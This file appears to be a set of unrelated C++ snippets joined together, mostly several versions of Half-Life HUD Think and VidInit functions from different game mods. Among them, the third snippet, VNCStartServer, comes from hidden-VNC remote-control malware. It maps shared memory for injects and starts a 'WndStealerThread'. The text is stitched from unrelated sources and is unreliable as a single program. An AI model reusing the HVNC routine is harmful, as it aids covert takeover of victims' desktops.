// Think void CHud::Think(void) { m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); int newfov; HUDLIST *pList = m_pHudList; while (pList) { if (pList->p->m_iFlags & HUD_ACTIVE) pList->p->Think(); pList = pList->pNext; } newfov = HUD_GetFOV(); if ( newfov == 0 ) { m_iFOV = default_fov->value; } else { m_iFOV = newfov; } // the clients fov is actually set in the client data update section of the hud // Set a new sensitivity if ( m_iFOV == default_fov->value ) { // reset to saved sensitivity m_flMouseSensitivity = 0; } else { // set a new sensitivity that is proportional to the change from the FOV default m_flMouseSensitivity = sensitivity->value * ((float)newfov / (float)default_fov->value) * CVAR_GET_FLOAT("zoom_sensitivity_ratio"); } // think about default fov if ( m_iFOV == 0 ) { // only let players adjust up in fov, and only if they are not overriden by something else m_iFOV = std::max( default_fov->value, 90.0f ); } if ( gEngfuncs.IsSpectateOnly() ) { m_iFOV = gHUD.m_Spectator.GetFOV(); // default_fov->value; } Bench_CheckStart(); }
// Think void CHud::Think(void) { m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); HUDLIST *pList = m_pHudList; while (pList) { if (pList->p->m_iFlags & HUD_ACTIVE) pList->p->Think(); pList = pList->pNext; } // think about default fov if ( m_iFOV == 0 ) { // only let players adjust up in fov, and only if they are not overriden by something else m_iFOV = max( default_fov->value, 90 ); } }
bool VNCStartServer(HVNC hVNC,HVNC_CONNECTION_INFO *lpConnInfo) { bool bRet=false; if (bHVNCInit) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if ((lpHandle) && (!lpHandle->lpServer->bActive)) { memcpy(&lpHandle->ConnInfo,lpConnInfo,sizeof(lpHandle->ConnInfo)); PHVNC lpServer=lpHandle->lpServer; lpServer->bStopped=false; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) GetScreenInfo(lpServer); if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { lpServer->hSharedMemMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,lpServer->DIBInfo.dwScreenBufferSize,lpServer->Names.szSharedMemMappingName); lpServer->lpSharedMemMapping=(byte *)MapViewOfFile(lpServer->hSharedMemMapping,FILE_MAP_ALL_ACCESS,0,0,0); } InitScreen(lpServer,&lpServer->DIBInfo.lpOldBkgBits); ResetEvent(lpServer->EventsInfo.hVNCKillEvent); ResetEvent(lpServer->EventsInfo.hSendThreadMessageEvent); g_leave(hInputMutex); g_leave(hSharedMemMutex); g_leave(hPaintMutex); g_leave(hSendThreadMessageMutex); lpServer->bActive=true; lpHandle->hEvent=CreateEvent(NULL,true,false,NULL); SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)VNCServerThread,(LPDWORD)hVNC,true); WaitForSingleObject(lpHandle->hEvent,INFINITE); SysCloseHandle(lpHandle->hEvent); if (lpServer->bActive) { SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)ThreadsWatchThread,(LPDWORD)lpServer,true); bRet=true; if ((!lpServer->DeskInfo.bInputDesktop) && (!lpServer->DeskInfo.bWebCam)) SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndStealerThread,lpServer,true); } lpHandle->hEvent=NULL; } } return bRet; }
void CHud :: VidInit( void ) { m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); // ---------- // Load Sprites // --------- // m_hsprFont = LoadSprite("sprites/%d_font.spr"); m_hsprLogo = 0; m_hsprCursor = 0; if (ScreenWidth < 640) m_iRes = 320; else m_iRes = 640; // Only load this once if ( !m_pSpriteList ) { // we need to load the hud.txt, and all sprites within m_pSpriteList = SPR_GetList("sprites/hud.txt", &m_iSpriteCountAllRes); if (m_pSpriteList) { // count the number of sprites of the appropriate res m_iSpriteCount = 0; client_sprite_t *p = m_pSpriteList; int j; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) m_iSpriteCount++; p++; } // allocated memory for sprite handle arrays m_rghSprites = new HSPRITE[m_iSpriteCount]; m_rgrcRects = new wrect_t[m_iSpriteCount]; m_rgszSpriteNames = new char[m_iSpriteCount * MAX_SPRITE_NAME_LENGTH]; p = m_pSpriteList; int index = 0; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf(sz, "sprites/%s.spr", p->szSprite); m_rghSprites[index] = SPR_Load(sz); m_rgrcRects[index] = p->rc; strncpy( &m_rgszSpriteNames[index * MAX_SPRITE_NAME_LENGTH], p->szName, MAX_SPRITE_NAME_LENGTH ); index++; } p++; } } } else { // we have already have loaded the sprite reference from hud.txt, but // we need to make sure all the sprites have been loaded (we've gone through a transition, or loaded a save game) client_sprite_t *p = m_pSpriteList; int index = 0; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf( sz, "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load(sz); index++; } p++; } } // assumption: number_1, number_2, etc, are all listed and loaded sequentially m_HUD_number_0 = GetSpriteIndex( "number_0" ); m_iFontHeight = m_rgrcRects[m_HUD_number_0].bottom - m_rgrcRects[m_HUD_number_0].top; m_Ammo.VidInit(); m_Health.VidInit(); m_Spectator.VidInit(); m_Geiger.VidInit(); m_Train.VidInit(); m_Battery.VidInit(); m_Flash.VidInit(); m_Message.VidInit(); m_StatusBar.VidInit(); m_DeathNotice.VidInit(); m_SayText.VidInit(); m_Menu.VidInit(); m_AmmoSecondary.VidInit(); m_TextMessage.VidInit(); m_StatusIcons.VidInit(); m_Countdown.VidInit(); m_Crosshairs.VidInit(); m_CTF.VidInit(); m_Debug.VidInit(); m_Location.VidInit(); m_NextMap.VidInit(); m_PlayerId.VidInit(); m_Scores.VidInit(); m_Settings.VidInit(); m_Speedometer.VidInit(); m_SuddenDeath.VidInit(); m_Timeout.VidInit(); m_Timer.VidInit(); m_Vote.VidInit(); m_Watermark.VidInit(); GetClientVoiceMgr()->VidInit(); }
void CHud :: VidInit( void ) { m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); // ---------- // Load Sprites // --------- // m_hsprFont = LoadSprite("sprites/%d_font.spr"); m_hsprLogo = 0; m_hsprCursor = 0; if (ScreenWidth < 640) m_iRes = 320; else m_iRes = 640; // Only load this once if ( !m_pSpriteList ) { // we need to load the hud.txt, and all sprites within m_pSpriteList = SPR_GetList("sprites/hud.txt", &m_iSpriteCountAllRes); if (m_pSpriteList) { // count the number of sprites of the appropriate res m_iSpriteCount = 0; client_sprite_t *p = m_pSpriteList; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) m_iSpriteCount++; p++; } // allocated memory for sprite handle arrays m_rghSprites = new HSPRITE[m_iSpriteCount]; m_rgrcRects = new wrect_t[m_iSpriteCount]; m_rgszSpriteNames = new char[m_iSpriteCount * MAX_SPRITE_NAME_LENGTH]; p = m_pSpriteList; int index = 0; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf(sz, "sprites/%s.spr", p->szSprite); m_rghSprites[index] = SPR_Load(sz); m_rgrcRects[index] = p->rc; strncpy( &m_rgszSpriteNames[index * MAX_SPRITE_NAME_LENGTH], p->szName, MAX_SPRITE_NAME_LENGTH ); index++; } p++; } } } else { // we have already have loaded the sprite reference from hud.txt, but // we need to make sure all the sprites have been loaded (we've gone through a transition, or loaded a save game) client_sprite_t *p = m_pSpriteList; int index = 0; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf( sz, "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load(sz); index++; } p++; } } // assumption: number_1, number_2, etc, are all listed and loaded sequentially m_HUD_number_0 = GetSpriteIndex( "number_0" ); // ORiginal Halflife Number Index Keep For Compatibility m_iFontHeight = m_rgrcRects[m_HUD_number_0].bottom - m_rgrcRects[m_HUD_number_0].top; //Ben m_Health.VidInit(); m_PredefinedMessage.VidInit(); m_Points.VidInit(); m_Clock.VidInit();//Baer m_ColourMessage.VidInit(); m_Crosshair.VidInit();//BP // m_CommanderMenu.VidInit();//BP // m_ArmLegShot.VidInit();//Myristate m_Ammo.VidInit(); m_Spectator.VidInit(); m_Geiger.VidInit(); m_Train.VidInit(); m_Message.VidInit(); m_StatusBar.VidInit(); m_DeathNotice.VidInit(); m_SayText.VidInit(); m_Menu.VidInit(); m_AmmoSecondary.VidInit(); m_TextMessage.VidInit(); m_StatusIcons.VidInit(); GetClientVoiceMgr()->VidInit(); if(pParticleManager) delete pParticleManager; pParticleManager = new CParticleSystemManager; char szVersion[16]; _snprintf(szVersion, sizeof(szVersion) - 1, "%s\0", const_cast<char*>(sBgVersion)); gEngfuncs.Con_Printf("The Battle Grounds %s, Copyright (C) 2001 - 2004, The Battle Grounds Team and Contributors\n", szVersion); gEngfuncs.Con_Printf("The Battle Grounds %s comes with ABSOLUTELY NO WARRANTY\n", szVersion); gEngfuncs.Con_Printf("This is free software, and you are welcome to redistribute it\n"); gEngfuncs.Con_Printf("This software is licensed under the GNU LGPL and comes with a copy of its source\n"); }
void CHud :: VidInit( void ) { m_scrinfo.iSize = sizeof( m_scrinfo ); GetScreenInfo( &m_scrinfo ); // ---------- // Load Sprites // --------- m_hHudError = 0; if( ScreenWidth < 640 ) m_iRes = 320; else m_iRes = 640; // Only load this once if( !m_pSpriteList ) { // we need to load the hud.txt, and all sprites within m_pSpriteList = SPR_GetList( "sprites/hud.txt", &m_iSpriteCountAllRes ); if( m_pSpriteList ) { // count the number of sprites of the appropriate res client_sprite_t *p = m_pSpriteList; m_iSpriteCount = 0; for( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if( p->iRes == m_iRes ) m_iSpriteCount++; p++; } // allocated memory for sprite handle arrays m_rghSprites = new HSPRITE[m_iSpriteCount]; m_rgrcRects = new wrect_t[m_iSpriteCount]; m_rgszSpriteNames = new char[m_iSpriteCount * MAX_SPRITE_NAME_LENGTH]; p = m_pSpriteList; int index = 0; for( j = 0; j < m_iSpriteCountAllRes; j++ ) { if( p->iRes == m_iRes ) { char sz[256]; Q_snprintf( sz, sizeof( sz ), "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load( sz ); m_rgrcRects[index] = p->rc; Q_strncpy( &m_rgszSpriteNames[index * MAX_SPRITE_NAME_LENGTH], p->szName, MAX_SPRITE_NAME_LENGTH ); index++; } p++; } } else { ALERT( at_warning, "hud.txt couldn't load\n"); m_pCvarDraw->value = 0; return; } } else { // we have already have loaded the sprite reference from hud.txt, but // we need to make sure all the sprites have been loaded (we've gone through a transition, or loaded a save game) client_sprite_t *p = m_pSpriteList; for( int j = 0, index = 0; j < m_iSpriteCountAllRes; j++ ) { if( p->iRes == m_iRes ) { char sz[256]; Q_snprintf( sz, sizeof( sz ), "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load( sz ); index++; } p++; } } // assumption: number_1, number_2, etc, are all listed and loaded sequentially m_HUD_number_0 = GetSpriteIndex( "number_0" ); m_iFontHeight = m_rgrcRects[m_HUD_number_0].bottom - m_rgrcRects[m_HUD_number_0].top; // loading error sprite m_HUD_error = GetSpriteIndex( "error" ); m_hHudError = GetSprite( m_HUD_error ); m_Ammo.VidInit(); m_Health.VidInit(); m_Geiger.VidInit(); m_Train.VidInit(); m_Battery.VidInit(); m_Flash.VidInit(); m_MOTD.VidInit(); m_Message.VidInit(); m_Scoreboard.VidInit(); m_StatusBar.VidInit(); m_DeathNotice.VidInit(); m_SayText.VidInit(); m_Menu.VidInit(); m_AmmoSecondary.VidInit(); m_TextMessage.VidInit(); m_StatusIcons.VidInit(); }
void CHud :: VidInit( void ) { #ifdef ENGINE_DEBUG CONPRINT("## CHud::VidInit (hi from me)\n"); #endif m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); // ---------- // Load Sprites // --------- // m_hsprFont = LoadSprite("sprites/%d_font.spr"); m_hsprLogo = 0; m_hsprCursor = 0; numMirrors = 0; ResetRain(); //LRC - clear all shiny surfaces if (m_pShinySurface) { delete m_pShinySurface; m_pShinySurface = NULL; } if (ScreenWidth < 640) m_iRes = 320; else m_iRes = 640; // Only load this once if ( !m_pSpriteList ) { // we need to load the hud.txt, and all sprites within m_pSpriteList = SPR_GetList("sprites/hud.txt", &m_iSpriteCountAllRes); if (m_pSpriteList) { // count the number of sprites of the appropriate res m_iSpriteCount = 0; client_sprite_t *p = m_pSpriteList; int j; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) m_iSpriteCount++; p++; } // allocated memory for sprite handle arrays m_rghSprites = new HL_HSPRITE[m_iSpriteCount]; m_rgrcRects = new wrect_t[m_iSpriteCount]; m_rgszSpriteNames = new char[m_iSpriteCount * MAX_SPRITE_NAME_LENGTH]; p = m_pSpriteList; int index = 0; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf(sz, "sprites/%s.spr", p->szSprite); m_rghSprites[index] = SPR_Load(sz); m_rgrcRects[index] = p->rc; strncpy( &m_rgszSpriteNames[index * MAX_SPRITE_NAME_LENGTH], p->szName, MAX_SPRITE_NAME_LENGTH ); index++; } p++; } } } else { // we have already have loaded the sprite reference from hud.txt, but // we need to make sure all the sprites have been loaded (we've gone through a transition, or loaded a save game) client_sprite_t *p = m_pSpriteList; int index = 0; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf( sz, "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load(sz); index++; } p++; } } // assumption: number_1, number_2, etc, are all listed and loaded sequentially m_HUD_number_0 = GetSpriteIndex( "number_0" ); m_iFontHeight = m_rgrcRects[m_HUD_number_0].bottom - m_rgrcRects[m_HUD_number_0].top; m_Ammo.VidInit(); m_Health.VidInit(); m_Spectator.VidInit(); m_Geiger.VidInit(); m_Train.VidInit(); m_Battery.VidInit(); m_Flash.VidInit(); m_Message.VidInit(); m_StatusBar.VidInit(); m_DeathNotice.VidInit(); m_SayText.VidInit(); m_Menu.VidInit(); m_AmmoSecondary.VidInit(); m_TextMessage.VidInit(); m_StatusIcons.VidInit(); GetClientVoiceMgr()->VidInit(); m_Particle.VidInit(); // (LRC) -- 30/08/02 November235: Particles to Order m_Lensflare.VidInit(); }
void CHud :: VidInit( void ) { m_scrinfo.iSize = sizeof(m_scrinfo); GetScreenInfo(&m_scrinfo); // ---------- // Load Sprites // --------- // m_hsprFont = LoadSprite("sprites/%d_font.spr"); m_hsprLogo = 0; m_hsprCursor = 0; ResetRain(); //LRC - clear all shiny surfaces if (m_pShinySurface) { delete m_pShinySurface; m_pShinySurface = NULL; } if (ScreenWidth < 640) m_iRes = 320; else m_iRes = 640; // Only load this once if ( !m_pSpriteList ) { // we need to load the hud.txt, and all sprites within m_pSpriteList = SPR_GetList("scripts/hud.txt", &m_iSpriteCountAllRes); // m_pSpriteList = SPR_GetList("sprites/hud.txt", &m_iSpriteCountAllRes); if (m_pSpriteList) { // count the number of sprites of the appropriate res m_iSpriteCount = 0; client_sprite_t *p = m_pSpriteList; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) m_iSpriteCount++; p++; } // allocated memory for sprite handle arrays m_rghSprites = new HSPRITE[m_iSpriteCount]; m_rgrcRects = new wrect_t[m_iSpriteCount]; m_rgszSpriteNames = new char[m_iSpriteCount * MAX_SPRITE_NAME_LENGTH]; p = m_pSpriteList; int index = 0; for ( j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf(sz, "sprites/%s.spr", p->szSprite); m_rghSprites[index] = SPR_Load(sz); m_rgrcRects[index] = p->rc; strncpy( &m_rgszSpriteNames[index * MAX_SPRITE_NAME_LENGTH], p->szName, MAX_SPRITE_NAME_LENGTH ); index++; } p++; } } } else { // we have already have loaded the sprite reference from hud.txt, but // we need to make sure all the sprites have been loaded (we've gone through a transition, or loaded a save game) client_sprite_t *p = m_pSpriteList; int index = 0; for ( int j = 0; j < m_iSpriteCountAllRes; j++ ) { if ( p->iRes == m_iRes ) { char sz[256]; sprintf( sz, "sprites/%s.spr", p->szSprite ); m_rghSprites[index] = SPR_Load(sz); index++; } p++; } } // assumption: number_1, number_2, etc, are all listed and loaded sequentially m_HUD_number_0 = GetSpriteIndex( "number_0" ); m_iFontHeight = m_rgrcRects[m_HUD_number_0].bottom - m_rgrcRects[m_HUD_number_0].top; m_Ammo.VidInit(); m_Health.VidInit(); m_Spectator.VidInit(); m_Geiger.VidInit(); m_Train.VidInit(); m_Battery.VidInit(); m_Flash.VidInit(); m_Message.VidInit(); m_StatusBar.VidInit(); m_DeathNotice.VidInit(); m_SayText.VidInit(); m_Menu.VidInit(); m_AmmoSecondary.VidInit(); m_TextMessage.VidInit(); m_StatusIcons.VidInit(); GetClientVoiceMgr()->VidInit(); // advanced NVG m_NVG.VidInit(); // advanced NVG m_Cine.VidInit(); m_Ricardo.VidInit(); m_LuzBar.VidInit(); m_FlashBar.VidInit(); m_HudRadar.VidInit(); m_Money.VidInit(); m_Tbutton.VidInit(); if(pParticleManager) { delete pParticleManager; } //sys add pParticleManager = new CParticleSystemManager; pParticleManager->PrecacheTextures(); if ( CVAR_GET_FLOAT( "cl_playmusic" ) == 1 ) gMP3.PlayMP3( "", -1 ); // gEngfuncs.Con_Printf("Arrange Mode %s, Copyright (C) 2004 - 2007, Arrange Mode Team and Contributors\n"); // gEngfuncs.Con_Printf("TArrange Mode %s comes with ABSOLUTELY NO WARRANTY\n"); // gEngfuncs.Con_Printf("This is free software, and you are welcome to redistribute it\n"); // gEngfuncs.Con_Printf("This software is licensed under the GNU LGPL and comes with a copy of its source\n"); }